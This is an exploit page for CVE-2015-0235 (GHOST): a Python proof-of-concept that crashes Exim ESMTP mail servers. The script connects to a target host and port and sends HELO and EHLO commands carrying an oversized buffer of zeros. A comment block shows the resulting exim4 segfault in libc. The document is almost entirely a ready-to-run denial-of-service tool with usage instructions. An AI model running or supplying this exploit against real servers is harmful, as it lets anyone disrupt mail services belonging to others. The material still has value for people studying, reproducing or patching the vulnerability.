Exim ESMTP GHOST Denial Of Service

`The below script is a PoC exploit for the GHOST vulnerability affecting Exim SMTP servers resulting in a service crash.  
  
#!/usr/bin/python  
# Exim ESMTP DoS Exploit by 1N3 v20150128  
# CVE-2015-0235 GHOST glibc gethostbyname buffer overflow  
# http://crowdshield.com  
#  
# USAGE: python ghost-smtp-dos.py <ip> <port>  
#  
# Escape character is '^]'.  
# 220 debian-7-7-64b ESMTP Exim 4.80 ...  
# HELO  
# 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  
# Connection closed by foreign host.  
#  
# user () debian-7-7-64b:~$ dmesg  
# ...  
# [ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in  
# libc-2.13.so[7fabef2a2000+182000]  
  
import socket  
import time  
import sys, getopt  
  
def main(argv):  
argc = len(argv)  
  
if argc <= 1:  
print "usage: %s <host>" % (argv[0])  
sys.exit(0)  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
buffer = "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"  
  
target = argv[1] # SET TARGET  
port = argv[2] # SET PORT  
  
print "(--==== Exim ESMTP DoS Exploit by 1N3 - https://crowdshield.com"  
print "(--==== Sending GHOST SMTP DoS to " + target + ":" + port + " with length:" +str(len(buffer))  
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
connect=s.connect((target,int(port)))  
data = s.recv(1024)  
print "CONNECTION: " +data  
s.send('HELO ' + buffer + '\r\n')  
data = s.recv(1024)  
print "received: " +data  
s.send('EHLO ' + buffer + '\r\n')  
data = s.recv(1024)  
print "received: " +data  
s.close()  
  
main(sys.argv)  
`